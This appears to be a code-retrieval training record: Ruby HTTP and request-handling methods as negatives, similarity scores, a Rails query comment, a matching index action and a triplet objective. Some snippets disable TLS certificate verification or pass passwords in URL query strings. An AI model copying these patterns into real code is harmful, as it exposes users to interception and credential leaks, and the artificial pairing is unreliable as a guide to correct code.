"def incoming \n response.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n #Read params from the text message\n \n if (params[:uid] && params[:body])\n @userid = params[:uid]\n @body = params[:body] \n \n sms = Sms.new(:raw => @body, :login => @userid)\n \n sms.parse\n \n user = User.find_by_login(sms.login)\n \n if user.nil?\n render :text => \"User #{sms.login} couldn't be found, have you signed up at #{AZIMUTH_DOMAIN}?\" \n else\n hunt = user.hunt\n if hunt.nil?\n render :text => \"User #{sms.login} doesn't appear to have signed up for a hunt. Please sign up for one at #{AZIMUTH_DOMAIN}.\"\n else\n if hunt.aasm_current_state == :hunting\n discovery = Discovery.new(:treasure => user.current_treasure, :key => sms.key, :lat => sms.lat, :lng => sms.lng, :hunt => hunt, :user => user)\n hunt.attempt_open_treasure_chest(discovery, user)\n user.save!\n hunt.save!\n discovery.save!\n \n if discovery.success?\n render :text => \"\" # don't send extra texts since the hunt will do it for us...\n else\n render :text => \"What you texted didn't open the treasure chest :-(. Coords: #{sms.lat} #{sms.lng}. Key: #{sms.key}\"\n end\n else\n render :text => \"The hunt #{hunt.name} is currently in #{hunt.state.humanize} state. Please wait for the hounds to be released to get your first clue.\"\n end\n end\n end\n else\n render :text => \"\"\n end\n \n end",
"def send\n http = Net::HTTP.new(@uri.host, @uri.port)\n http.read_timeout = @http_timeout\n\n # Output request XML if debug flag is set\n if debug == true\n logger.info \"Request URL: #{@uri.to_s}\"\n logger.info \"Request Timeout: #{@http_timeout}\"\n logger.info \"Request headers: #{headers}\"\n logger.info \"Request body: #{body}\"\n end\n\n if @uri.port == 443\n http.use_ssl = true\n http.ssl_timeout = @http_timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n post = Net::HTTP::Post.new(@uri.path, headers)\n post.body = body\n post.content_type = 'text/xml'\n\n response = http.start { |http| http.request(post) }\n\n if debug == true\n logger.info \"Response: #{response}\"\n end\n\n if response.is_a? Net::HTTPInternalServerError\n logger.info \"#{response.class.to_s}: #{response.message}\"\n return Hashie::Mash.new({})\n end\n\n @response = Hashie::Mash.new(Response.new(self, response))\n end",
"def perform\n resp = connection.get(request_uri)\n handle_response(resp)\n # If server returns 200, everything is OK.\n self.success = resp.status == 200\n rescue Faraday::Error => e\n self.response = { message: e.message }\n self.success = false\n rescue JSON::ParserError, ::EasyManageClient::InvalidResponseContent\n # Response cannot be handled.\n self.response = { message: 'Invalid response from the server.' }\n self.success = false\n end",
"def do_request(action,parameters)\n request_parameters = { :action => action, :login => @username}.merge(parameters)\n signature = Digest::MD5.hexdigest( to_signature( request_parameters.merge({:password => @password}) ) )\n request_parameters[\"signature\"] = signature\n result = JSON.parse(http_get(\"www.smsforall.ru\",@api,request_parameters.merge(parameters) ))\n end",
"def send_response\r\n if self.response.class.name == \"Proc\"\r\n return self.response.call\r\n end\r\n self.response\r\n end",
"def send\n post_params = {}\n self.parameters.each { |key, value|\n if value.is_a? Array\n i = 0\n value.each { |value_value|\n post_params[key.to_s + '[' + i.to_s + ']'] = value_value.to_s\n i += 1\n }\n elsif value.is_a? Hash\n value.each { |value_key, value_value|\n post_params[key.to_s + '[' + value_key.to_s + ']'] = value_value.to_s\n }\n else\n post_params[key.to_s] = value.to_s\n end\n }\n\n url = URI.parse(@@API_URL)\n http_request = Net::HTTP::Post.new(url.path)\n http_request.form_data = post_params\n http_request.basic_auth url.user, url.password if url.user\n\n response = Spree::PAYONE::Proxy::Response.new\n connection = Net::HTTP.new(url.host, url.port)\n load_ca_file connection\n connection.use_ssl = true\n connection.start { |http|\n http_response = http.request(http_request)\n response.response_body= http_response.body\n }\n\n response\n end",
"def request( xml )\n # open_connection\n\n # @logged_in = true if login\n\n begin\n @response = send_request( xml )\n ensure\n if @logged_in && !old_server\n @logged_in = false if logout\n end\n end\n\n return @response\n end",
"def send(destination, contents, payload)\n request = Net::HTTP::Post.new(\"/#{destination}\")\n request.body = \"#{contents}=#{CGI.escape(payload.to_json)}\"\n uri = URI.parse(@settings[:url])\n if @settings[:basic_auth]\n request.basic_auth(@settings[:username], @settings[:password])\n end\n result = {:error => true}\n begin\n response = Net::HTTP.new(uri.host, uri.port).start { |http| http.request(request) }\n if response.code == \"200\"\n result.merge!({\n :error => false,\n :message => \"iP Relay #{destination} #{contents} successfully sent\"\n })\n else\n result[:message] = \"iP Relay #{destination} #{contents} failure, response code was #{response.code}\"\n end\n rescue Exception => e\n result[:message] = \"iP Relay #{destination} #{contents} failure, exception was #{e}\"\n end\n\n puts result[:message]\n result\n end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def send_request\n \t\taz = @args[:authorization] and az = \"Authorization: #{az}\\r\\n\"\n body = @args.delete(:body)\n headers = @args.delete(:headers)\n body.strip! if body\n content_type = @args[:content_type]\n \t\tr = [\n \t\t \t\"#{@args[:verb]} #{@args[:uri]} HTTP/#{@args[:version] || \"1.1\"}\\r\\n\",\n \t\t\t\"Host: #{@args[:host_header] || \"_\"}\\r\\n\",\n \t\t\taz || \"\",\n \t\t\t\"Content-Length: #{body.nil? ? 0 : body.size}\\r\\n\",\n \t\t\t\"Date: #{Time.now.httpdate}\\r\\n\",\n \t\t\tcontent_type.nil? ? \"\" : \"Content-Type: #{content_type}\\r\\n\"\n \t] + \n (headers.nil? ? [] : headers.keys.map{|key| \"#{key}: #{headers[key]}\\r\\n\"}) +\n [\"\\r\\n\", body]\n \n \t\t@conn.send_data(r.join)\n \tend",
"def http\n @http || prepare_http_connection\n end",
"def handle_request(message)\n msg = nil\n result = nil\n begin\n client_port, client_ip = Socket.unpack_sockaddr_in(get_peername)\n msg = RequestMessage.new(:message => message, :headers => @web_node.message_headers)\n headers = @web_node.message_headers.merge(msg.headers)\n result = Dispatcher.dispatch_request(msg.jr_method,\n :method_args => msg.jr_args,\n :headers => headers,\n :client_ip => client_ip,\n :client_port => client_port,\n :rjr_node => @web_node,\n :rjr_node_id => @web_node.node_id,\n :rjr_node_type => RJR_NODE_TYPE,\n :rjr_callback => WebNodeCallback.new())\n rescue JSON::ParserError => e\n result = Result.invalid_request\n end\n\n msg_id = msg.nil? ? nil : msg.msg_id\n response = ResponseMessage.new(:id => msg_id, :result => result, :headers => headers)\n\n resp = EventMachine::DelegatedHttpResponse.new(self)\n #resp.status = response.result.success ? 200 : 500\n resp.status = 200\n resp.content = response.to_s\n resp.content_type \"application/json\"\n resp.send_response\n end",
"def send_sms(params)\n self.current_params = params\n response = send_request(params)\n smart_response(response.parsed_response)\n end",
"def perform_api_request(query) \n request = Net::HTTP::Post.new( \n $url.path + ($url.query != nil ? (\"?\" + $url.query) : \"\"), \n initheader = {\"Content-Type\" => \"application/json\", \n \"X-Replicon-Security-Context\" => \"User\"}) \n request.basic_auth($companyKey + \"\\\\\" + $loginname, $password) \n request.body = JSON.generate(query) \n \n server = Net::HTTP.new($url.host, $url.port) \n server.use_ssl = $url.scheme == \"https\" \n response = server.start {|http| http.request(request)} \n \n http_code = response.code.to_i \n if http_code != 200 \n puts response.body \n raise \"Expected success code 200, but was #{http_code}\" \n end \n \n return JSON.parse(response.body) \nend",
"def http_call(payload)\n response =\n log_http_call(payload) do\n http = payload[:http] || create_http_connection(payload[:uri])\n http.start do |session|\n if payload[:method] == :get\n session.get(payload[:uri].request_uri, payload[:header])\n else\n session.send(payload[:method], payload[:uri].request_uri, payload[:body], payload[:header])\n end\n end\n end\n handle_response(response)\n end",
"def _send_message data\n response << data\n end",
"def http_call(payload); end",
"def send_message\n self.get_message\n self.conn.get.status\n end",
"def deliver\n response = ''\n begin\n response = Client.post(PATH, params)\n # rescue => e\n # response = \"An error occurred with message: #{e.message}\"\n end\n response\n end",
"def send\n sleep(delay_seconds) # Delay request if needed\n http = Net::HTTP.new(@uri.host, @uri.port)\n http.use_ssl = @config_use_ssl\n begin\n res = http.start { |http| @response = http.request(@request) }\n rescue Exception => e\n @failures << \"Exception raised while making request: #{e.message}\"\n end\n if @failures.size == 0\n @send_count += 1\n if @oks.include?(res.code)\n Log.response(@response)\n else\n Log.response(@response, false)\n @failures << \"Request returned #{res.code}\"\n end\n end\n end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def execute\n uri = request_uri\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n retries = Europeana.max_retries\n \n begin\n response = http.request(request)\n rescue Timeout::Error, Errno::ECONNREFUSED, EOFError\n retries -= 1\n raise unless retries > 0\n sleep Europeana.retry_delay\n retry\n end\n \n json = JSON.parse(response.body)\n raise Errors::RequestError, json['error'] unless json['success']\n json\n rescue JSON::ParserError\n raise Errors::ResponseError\n end",
"def send\n uri = URI(@api_url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end\n http.read_timeout = GlobalConstant::CompanyApi.read_timeout\n http.open_timeout = GlobalConstant::CompanyApi.open_timeout\n req_obj = get_request_obj(uri.request_uri)\n\n http_response, e = nil, nil\n begin\n http_response = http.request(req_obj)\n set_api_response_cookie(http_response)\n parse_api_response(http_response)\n rescue Net::ReadTimeout, Net::OpenTimeout => e\n # Timeouts\n exception_with_internal_code(\n e,\n 'company_api_timeout',\n 'company api timeout',\n GlobalConstant::ErrorCode.internal_server_error,\n debug_data\n )\n rescue Exception => e\n # Exceptions\n exception_with_internal_code(e, 'company_api_exception', 'company api exception', GlobalConstant::ErrorCode.internal_server_error, debug_data)\n end\n\n end",
"def send(*rest) end",
"def send(*rest) end",
"def send(*rest) end",
"def perform_http_request\n request_opts = { followlocation: true, ssl_verifypeer: false, timeout: 30 }\n @response = Typhoeus.get(@webpage_request.url, request_opts)\n @response && process_response_data\n @response\n end",
"def send_message(msg, type)\n # Build the message and get it's size\n message = wrap_message(msg, type).serialize_to_string\n message_size = [message.length].pack('N')\n\n # Write the message to the SSL client and get the response\n @gtv.ssl_client.write(message_size + message)\n data = \"\"\n @gtv.ssl_client.readpartial(1000,data)\n @gtv.ssl_client.readpartial(1000,data)\n\n # Extract the response from the Google TV\n outer = OuterMessage.new\n outer.parse_from_string(data)\n\n return outer\n end",
"def response(env)\n env.trace 'open send connection'\n env.logger.debug \"Begin send request\"\n validate_send_params # Ensure required parameters\n if authenticate\n [200, {}, prepare_send_request]\n else\n [401, {}, \"Unauthorized\"]\n end\n end",
"def tessen_api_request(data)\n @logger.debug(\"sending data to the tessen call-home service\", {\n :data => data,\n :options => @options\n })\n connection = {}\n connection[:proxy] = @options[:proxy] if @options[:proxy]\n post_options = {:body => Sensu::JSON.dump(data)}\n http = EM::HttpRequest.new(\"https://tessen.sensu.io/v1/data\", connection).post(post_options)\n http.callback do\n @logger.debug(\"tessen call-home service response\", :status => http.response_header.status)\n yield if block_given?\n end\n http.errback do\n @logger.debug(\"tessen call-home service error\", :error => http.error)\n yield if block_given?\n end\n end",
"def http_callback\n if @params['http_error'] == \"200\"\n @parse_result = Product.update_product_list @params['body']\n # sleep 2\n if @parse_result\n Device.instance.last_sync = Date.today\n Device.instance.save\n WebView.navigate url_for :action => :index\n else\n Alert.hide_popup\n Alert.show_popup({:message => \"Catalog is not available at the moment. Please try again later.\", \n :buttons => [\"OK\"],\n :title => \"ERROR\",\n #:icon => '/public/images/loading.gif',\n })\n # WebView.navigate url_for :action => :catalog_failure\n end\n else\n Alert.hide_popup\n Alert.show_popup({:message => \"Catalog is not available at the moment. Please try again later.\", \n :buttons => [\"OK\"],\n :title => \"ERROR\",\n #:icon => '/public/images/loading.gif',\n })\n # WebView.navigate url_for :action => :catalog_failure\n end\n \n end",
"def send_request\n @response = _send_request\n end",
"def run\n\n action Colors.grey(\"REQUEST \") + Colors.light_blue(\"#{options[:method].upcase} #{url}\")\n Console.instance.indent\n # run the request\n options[:ssl_verifypeer] = false\n options[:followlocation] = true\n\n Injector.decorate(options)\n\n # convert all headers keys to strings to avoid having symbols like :\"header\" when\n # declaring headers with colons instead of arrows\n if options.key?(:headers)\n new_opts = {}\n options[:headers].map do |k, v|\n new_opts[k.to_s] = v\n end\n options[:headers] = new_opts\n end\n\n if options.key?(:headers) and options[:headers].key?('Content-Type')\n ctype = options[:headers]['Content-Type']\n if ctype.include?('application/json')\n # automatically encode json content\n options[:body] = JSON.generate(options[:body], quirks_mode: true)\n end\n end\n\n\n\n self.response = Typhoeus::Request.new(url, options).run\n\n self.req_response = RequestResponse.new.tap { |r|\n r.raw_body = response.body\n r.headers = response.headers\n r.code = response.code\n r.total_time = response.total_time\n\n if !r.headers.nil? && r.headers.key?('Content-Type') && r.headers['Content-Type'].include?('application/json')\n r.body = JSON.parse(response.body)\n else\n r.body = response.body\n end\n }\n\n # reset assertion counter\n self.assert_no = 1\n\n # evaluate response against expectations\n begin\n instance_eval(&expectations)\n rescue AssertionException\n error error_msg + \" at #{expectations.source_location}\"\n raise RequestException\n rescue StandardError => e\n error 'Exception ' + e.message\n info e.backtrace.inspect\n _debug_info\n error error_msg\n raise RequestException\n ensure\n Console.instance.unindent\n end\n\n req_response\n\n end",
"def send(data)\r\n response = self.create_api_web_send_json(data)\r\n return response\r\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def send_request(http_client, usecase, meth, uri, req, params, headers, container, counter)\n container.response = http_client.send(meth, uri, params, headers) # booya!\n end",
"def response\n connection.send(request_method) do |req|\n req.url path\n req.headers['LicenseID'] = client.license_id\n req.headers['Host'] = client.host\n req.headers['Connection'] = 'Keep-Alive'\n req.headers['Expect'] = '100-continue'\n req.headers['Content-Type'] = 'text/xml'\n req.body = body\n end\n end",
"def rpc(action, args={})\n company = @company\n username = @user\n password = @password\n url = \"https://#{company}.logicmonitor.com/santaba/rpc/#{action}?\"\n args.each_pair do |key, value|\n url << \"#{key}=#{value}&\"\n end\n url << \"c=#{company}&u=#{username}&p=#{password}\"\n uri = URI(url)\n begin\n http = Net::HTTP.new(uri.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(req)\n return response.body\n rescue SocketError => se\n puts \"There was an issue communicating with #{url}. Please make sure everything is correct and try again. Exiting\"\n puts se.message\n exit 3\n rescue Error => e\n puts \"There was an issue.\"\n puts e.message\n puts \"Exiting\"\n exit 4\n end\n return nil\nend",
"def execute client, request_context\n #data = request_context[:data]\n #data = data.to_xml if data.respond_to?(:to_xml)\n url = [request_context[:path], request_context[:query]].join(\"?\")\n url = \"/\" + url unless url[0].chr == \"/\"\n begin\n body = direct.request(url, request_context[:data])\n rescue\n $!.extend RSolr::Error::SolrContext\n $!.request = request_context\n raise $!\n end\n {\n :status => 200,\n :body => body,\n :headers => {}\n }\n end",
"def send_sms\n Sms.send_sms(session[:zeepusername], params[:sendmsg][:messagebody])\n \n @zeep_response = \"Message sent to #{session[:zeepusername]}!\"\n \n render :action => \"testloop\"\n \n end",
"def send(result)\n uri = URI(@location)\n request = Net::HTTP::Post.new(uri.path,\n initheader = {'Content-Type' => 'application/json'})\n request = prepare_basic_auth(request)\n\n request.body = result.to_json\n response = Net::HTTP.new(uri.host, uri.port).start do |http|\n http.read_timeout = 200\n http.request(request)\n end\n\n response.code\n end",
"def call(call_url = self.call_url, arguments = self.arguments, resending = false)\n Postage.logger.info \"Sending Request [UID: #{self.uid} URL: #{call_url}] \\n#{arguments.inspect}\\n\"\n \n self.arguments[:uid] = self.uid\n self.arguments[:plugin_version] = Postage::PLUGIN_VERSION\n \n body = { :api_key => Postage.api_key, :arguments => arguments }.to_json\n \n Timeout::timeout(5) do\n self.response = self.class.post( call_url, :headers => HEADERS, :body => body )\n end\n \n Postage.logger.info \"Received Response [UID: #{self.uid}] \\n#{self.response.inspect}\\n\"\n \n resend_failed_requests unless resending\n return Postage::Response.new(self.response)\n \n rescue Timeout::Error, SocketError, Exception => e\n Postage.logger.error \"Failure [UID: #{self.uid}] \\n#{e.inspect}\"\n \n store_failed_request(e) unless resending \n return nil # no response generated\n end",
"def http\n HTTP .headers(accept: \"application/json\")\n # .via(\"127.0.0.1\", 8888)\n end",
"def perform(request, response); end",
"def response\n @response ||= RestClient::Request.execute(\n method: :post,\n url: url,\n user: JabberAdmin.configuration.username,\n password: JabberAdmin.configuration.password,\n payload: payload.to_json\n )\n rescue RestClient::Exception => e\n @response = e.response\n end",
"def send!\n request = Net::HTTP::Post.new(uri.path, headers)\n request.body = @body\n request.content_type = @@content_type\n response = Net::HTTP.start(uri.host, uri.port) do |http|\n http.request(request)\n end\n ok?(response)\n end",
"def _send_response resp\n Handler.log.debug \"Sending response : #{resp}\"\n send_data resp.to_s + \"\\n\"\n resp\n end",
"def xml_http_request?; end",
"def send_request(params, payload=nil, content_type=nil)\n headers = {:accept => \"application/*+xml;version=#{@api_version}\"}\n if @auth_key\n headers.merge!({:x_vcloud_authorization => @auth_key})\n end\n\n if content_type\n headers.merge!({:content_type => content_type})\n end\n\n request = RestClient::Request.new(:method => params['method'],\n :user => \"#{@username}@#{@org_name}\",\n :password => @password,\n :headers => headers,\n :url => \"#{@api_url}#{params['command']}\",\n :payload => payload)\n\n begin\n response = request.execute\n if ![200, 201, 202, 204].include?(response.code)\n @logger.warn \"Warning: unattended code #{response.code}\"\n end\n\n @logger.debug \"Send request result: #{Nokogiri.parse(response)}\"\n\n [Nokogiri.parse(response), response.headers]\n rescue RestClient::Unauthorized => e\n raise UnauthorizedAccess, \"Client not authorized. Please check your credentials.\"\n rescue RestClient::BadRequest => e\n body = Nokogiri.parse(e.http_body)\n message = body.css(\"Error\").first[\"message\"]\n humanize_badrequest(message)\n rescue RestClient::Forbidden => e\n body = Nokogiri.parse(e.http_body)\n message = body.css(\"Error\").first[\"message\"]\n raise UnauthorizedAccess, \"Operation not permitted: #{message}.\"\n rescue RestClient::InternalServerError => e\n body = Nokogiri.parse(e.http_body)\n message = body.css(\"Error\").first[\"message\"]\n raise InternalServerError, \"Internal Server Error: #{message}.\"\n rescue RestClient::MethodNotAllowed => e\n body = Nokogiri.parse(e.http_body)\n message = body.css(\"Error\").first[\"message\"]\n raise MethodNotAllowed, \"#{params['method']} to #{params['command']} not allowed: #{message}.\"\n end\n end",
"def reply_http(req, body, code=200, headers={})\n self.reply(req, http_response(body, code, headers))\n end",
"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n username = URI.encode(@info_values[\"api_username\"])\n password = @info_values[\"api_password\"]\n error_handling = @parameters[\"error_handling\"]\n\n route_base = \"#{server}/app/api/v1/teams\"\n\n puts \"API ROUTE: #{route_base}\" if @debug_logging_enabled\n\n resource = RestClient::Resource.new(route_base, { :user => username, :password => password })\n\n # Building the object that will be sent to Kinetic Core\n dataHash = {}\n\tdataHash[\"name\"] = @parameters[\"team_name\"]\n\tif !@parameters[\"members\"].empty?\n\t\tmembers = JSON.parse(@parameters[\"members\"])\n\t\tmembership = []\n\t\tmembers.each do |member|\n\t\t username = {}\n\t\t username[\"username\"] = member\n\t\t user = {}\n\t\t user[\"user\"] = username\n\t\t membership.push(user)\n\t\tend\n\t\tdataHash[\"memberships\"] = membership\n\tend\n\n\tputs \"DATA: #{dataHash.to_json}\" if @debug_logging_enabled\n\tbegin\n\t#create\n response = resource.post(dataHash.to_json, { accept: :json, content_type: :json })\n\n\n # Build the results to be returned by this handler\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n </results>\n RESULTS\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end\n end",
"def connection\n begin\n connection = nextPendingConnection\n url = nil\n body = \"\"\n headers = \"\"\n while connection.isOpen\n if connection.canReadLine\n line = connection.readLine.to_s\n if line =~ /(GET|POST)\\s+(.*)\\s+HTTP/\n url = Qt::Url.new($2)\n break\n else\n break # some kind of error?\n end\n else\n connection.waitForReadyRead(100)\n end\n end\n \n while connection.isOpen\n if connection.canReadLine\n line = connection.readLine.to_s\n if line.chomp == \"\"\n break\n else\n headers << line\n end\n else\n connection.waitForReadyRead(100)\n end\n end\n \n if connection.isOpen\n body = connection.readAll.to_s\n end\n \n if url && url.path =~ /\\/turtle\\/(.*)/\n command = $1\n param = URI.decode(url.encodedQuery.to_s)\n if command == \"init_turtle\"\n @turtle.init_turtle\n connection.write validResponse(\"OK\")\n elsif command == \"command_turtle\"\n @turtle.command_turtle(param)\n connection.write validResponse(\"OK\")\n elsif command == \"background\"\n @turtle.background(param)\n connection.write validResponse(\"OK\")\n elsif command == \"width\"\n connection.write validResponse(@turtle.width)\n elsif command == \"height\"\n connection.write validResponse(@turtle.height)\n else\n connection.write errorResponse\n end\n elsif url && url.path =~ /\\/(.*)/\n command = $1\n if command == \"alert\"\n param = URI.decode(url.encodedQuery.to_s)\n @parent.alert(param)\n connection.write validResponse(\"OK\")\n elsif command == \"ask\"\n param = URI.decode(url.encodedQuery.to_s)\n connection.write validResponse(@parent.ask(param)) \n elsif command == \"append\"\n param = URI.decode(url.encodedQuery.to_s) \n @parent.append(param)\n connection.write validResponse(\"OK\")\n elsif command == \"appendError\"\n param = URI.decode(url.encodedQuery.to_s)\n @parent.appendError(param)\n connection.write validResponse(\"OK\")\n elsif command == \"gets\"\n connection.write validResponse(@parent.gets) \n else\n connection.write errorResponse\n end\n else\n connection.write errorResponse\n end\n\n connection.disconnectFromHost()\n rescue \n puts \"ERROR #{$!}\"\n end\n end",
"def rest_send( url, method, payload )\n begin\n response = RestClient::Request.execute( method: method,\n url: URI.escape( url ),\n payload: payload,\n content_type: :json,\n accept: :json,\n timeout: self.timeout )\n\n if ok?( response.code ) && response.empty? == false && response != ' '\n return response.code, JSON.parse( response )\n end\n return response.code, {}\n rescue RestClient::BadRequest => ex\n log_error( method, url, nil, payload )\n return 400, {}\n rescue RestClient::ResourceNotFound => ex\n log_error( method, url, nil, payload )\n return 404, {}\n rescue RestClient::RequestTimeout => ex\n log_error( method, url, nil, payload )\n puts \"ERROR: request timeout: #{url}\"\n return 408, {}\n rescue RestClient::Exception, SocketError, Exception => ex\n log_error( method, url, ex, payload )\n return 500, {}\n end\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def reply_http(env, body, code=200, headers={\"Content-type\" => \"text/html\"})\n self.reply(env, http_response(body, code, headers))\n end",
"def call request, response\n\t\t\t\tbegin\n\t\t\t\t\thost = get_host(request[:host_name].to_s.downcase) || @hosts[:default]\n\t\t\t\t\treturn false unless host\n\t\t\t\t\trequest[:host_settings] = host.params\n\t\t\t\t\t# render any assets?\n\t\t\t\t\treturn true if render_assets request, response, host.params\n\t\t\t\t\t# send static file, if exists and root is set.\n\t\t\t\t\treturn true if Base::HTTPSender.send_static_file request, response\n\t\t\t\t\t# return if a route answered the request\n\t\t\t\t\thost.routes.each {|r| a = r.on_request(request, response); return a if a}\n\t\t\t\t\t#return error code or 404 not found\n\t\t\t\t\treturn Base::HTTPSender.send_by_code request, response, 404 unless ( @avoid_404 ||= ( Iodine::Http.on_http == ::Iodine::Http::Rack ? 1 : 0 ) ) == 1\n\t\t\t\trescue => e\t\t\t\t\n\t\t\t\t\t# return 500 internal server error.\n\t\t\t\t\tIodine.error e\n\t\t\t\t\tBase::HTTPSender.send_by_code request, response, 500\n\t\t\t\tend\n\t\t\tend",
"def send_request(body)\n status = false\n data = false\n code = \"\"\n\n Net::HTTP.start(\"#{@subdomain}.#{@options[:host]}\", 80) do |http|\n req = Net::HTTP::Post.new(@options[:pathname])\n\n req.content_type = 'application/atom+xml'\n req.content_length = body.size - 20 # Currently a bug with the Pomegranate API I believe\n req.body = body\n\n if authentication_set?\n req.ntlm_auth(@username, @options[:domain], @password)\n end\n\n response = http.request(req)\n\n code = response.code\n\n if code == \"201\"\n data = parse_xml(response.body)\n else\n break\n end\n end\n\n {:code => code, :data => data}\n end",
"def response; return @response end",
"def send(resource, result)\n uri = URI(api_location + resource)\n\n request = Net::HTTP::Post.new(uri.path,\n initheader = {\n 'Content-Type' => 'application/json',\n 'ApiToken' => @options[:api_token]\n }\n )\n request = prepare_basic_auth(request)\n\n @logger.debug \"Send: #{resource}\"\n\n request.body = result.to_json\n\n response = Net::HTTP.start(uri.host, uri.port,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE,\n :use_ssl => uri.scheme == 'https') do |http|\n http.read_timeout = 999999\n http.request(request)\n end\n\n @logger.debug \"#{resource}, #{response.code}\"\n response.code\n end",
"def submit\n http = Net::HTTP.new(URL.host, URL.port)\n http.use_ssl = true\n http.start { |send| send.request(self) }.body\n end",
"def execute_request service, other = {}, headers = {}\n request = build_request(service, other, headers)\n if Typhoeus::Config.verbose\n puts \"< \" + request.inspect\n end\n\n response = request.run\n\n if Typhoeus::Config.verbose\n puts \"> \" + response.body\n end\n\n return Response.new(response.success?, JSON.parse(response.body))\n end"
] |
[
"0.6685027",
"0.66773605",
"0.65325016",
"0.62631613",
"0.61380297",
"0.6074409",
"0.60246587",
"0.6010596",
"0.60056424",
"0.5995534",
"0.59726405",
"0.59530205",
"0.5920722",
"0.59037554",
"0.58551",
"0.58340186",
"0.5832804",
"0.58209467",
"0.5817091",
"0.57810426",
"0.5759517",
"0.5750025",
"0.5732529",
"0.57099164",
"0.5708993",
"0.5689927",
"0.56569654",
"0.56360805",
"0.5636049",
"0.56282735",
"0.56220436",
"0.56215245",
"0.5620143",
"0.5620114",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56133175",
"0.56113625",
"0.5602482",
"0.5600219",
"0.5591858",
"0.55878884",
"0.5581772",
"0.5573478",
"0.55732864",
"0.5566091",
"0.55624545",
"0.5550796",
"0.555029",
"0.5550207",
"0.5547536",
"0.55444103",
"0.55444103",
"0.55444103",
"0.5513389",
"0.5510751",
"0.5504779",
"0.55028975",
"0.55009186",
"0.5490854",
"0.5489638",
"0.54878676",
"0.54874927",
"0.54874927",
"0.54854494",
"0.54844165",
"0.5483405",
"0.5474122",
"0.5465034",
"0.5463219",
"0.5462678",
"0.54588664",
"0.5453222",
"0.5449571",
"0.5443897",
"0.54433995",
"0.5436471",
"0.5435841",
"0.54214334",
"0.5420702",
"0.5419592",
"0.5413871",
"0.54117733",
"0.541153",
"0.54046285",
"0.5404202",
"0.5397568",
"0.5395243",
"0.5389783",
"0.5389061"
] |
0.6777497
|
0
|
before_action :signed_in_correct_user_or_admin, only: %i(show end_tasks)
|
def index
@users = User.all.page(params[:page]).order(code: :asc)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n # Restrict access\n check_if_admin unless @task.user_id == @person.id || @task.state == 'open'\n end",
"def edit\n get_current_user\n if @user.tasks.include?(task) #If the task they want to edit belongs to them\n task\n else #If the task they want to edit does NOT belong to them\n flash.alert = \"You can only edit your own tasks.\"\n redirect_to root_path\n end\n end",
"def is_admin\n if current_user\n unless current_user.admin?\n flash[:danger] = \"Only the administrators can access it\"\n redirect_to tasks_path\n end \n else\n redirect_to new_session_path\n end\n end",
"def show\n authorize! :read, @task\n end",
"def authorize\n unless User.find_by(id: session[:user_id])\n redirect_to tasks_index_path, notice: \"Please log in\"\n end\n end",
